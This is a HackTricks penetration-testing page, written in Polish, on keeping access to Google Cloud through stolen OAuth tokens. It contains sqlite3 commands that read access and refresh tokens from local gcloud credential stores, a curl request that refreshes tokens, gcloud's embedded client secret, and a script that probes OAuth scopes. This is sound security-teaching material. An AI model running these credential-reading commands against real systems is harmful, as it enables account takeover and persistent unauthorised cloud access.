GCP - Token Persistance

Support HackTricks

Tokeny Użytkowników Zautoryzowanych

Aby uzyskać aktualny token użytkownika, możesz uruchomić:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Sprawdź na tej stronie, jak bezpośrednio użyć tego tokena za pomocą gcloud:

Aby uzyskać szczegóły dotyczące generowania nowego tokena dostępu, uruchom:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Możliwe jest również znalezienie tokenów odświeżania w $HOME/.config/gcloud/application_default_credentials.json oraz w $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Aby uzyskać nowy odświeżony token dostępu za pomocą tokena odświeżania, identyfikatora klienta i tajnego klucza klienta, uruchom:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Ważność tokenów odświeżania można zarządzać w Admin > Security > Google Cloud session control, a domyślnie jest ustawiona na 16h, chociaż można ustawić, aby nigdy nie wygasały:

Auth flow

Przepływ uwierzytelniania podczas korzystania z czegoś takiego jak gcloud auth login otworzy okno w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to do otwartego portu http przez narzędzie:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Następnie gcloud użyje stanu i kodu z pewnym zakodowanym na sztywno client_id (32555940559.apps.googleusercontent.com) oraz client_secret (ZmssLNjJy2998hD4CTg2ejr2), aby uzyskać ostateczne dane tokena odświeżania.

Zauważ, że komunikacja z localhostem odbywa się w HTTP, więc możliwe jest przechwycenie danych, aby uzyskać token odświeżania, jednak te dane są ważne tylko 1 raz, więc byłoby to bezużyteczne, łatwiej jest po prostu odczytać token odświeżania z pliku.

Zakresy OAuth

Wszystkie zakresy Google można znaleźć pod adresem https://developers.google.com/identity/protocols/oauth2/scopes lub uzyskać je, wykonując:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Można zobaczyć, które zakresy aplikacja, którą gcloud używa do uwierzytelniania, może obsługiwać za pomocą tego skryptu:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Po wykonaniu tego sprawdzono, że ta aplikacja obsługuje te zakresy:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

to interesujące, jak ta aplikacja obsługuje zakres drive, co może pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zdoła zmusić użytkownika do wygenerowania tokena z tym zakresem.

Sprawdź, jak to wykorzystać tutaj.

Konta serwisowe

Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się skompromentować plik klucza prywatnego konta serwisowego, będziesz mógł uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz. Jednak jeśli ukradniesz token OAuth konta serwisowego, może to być jeszcze bardziej interesujące, ponieważ, nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli ofiara usunie klucz API, token OAuth będzie nadal ważny aż do wygaśnięcia.

Metadane

Oczywiście, dopóki jesteś w maszynie działającej w środowisku GCP, będziesz mógł uzyskać dostęp do konta serwisowego przypisanego do tej maszyny, kontaktując się z punktem końcowym metadanych (zauważ, że tokeny OAuth, do których możesz uzyskać dostęp w tym punkcie końcowym, są zazwyczaj ograniczone przez zakresy).

Remediacje

Niektóre remediacje dla tych technik są wyjaśnione w https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referencje

Wsparcie dla HackTricks

Last updated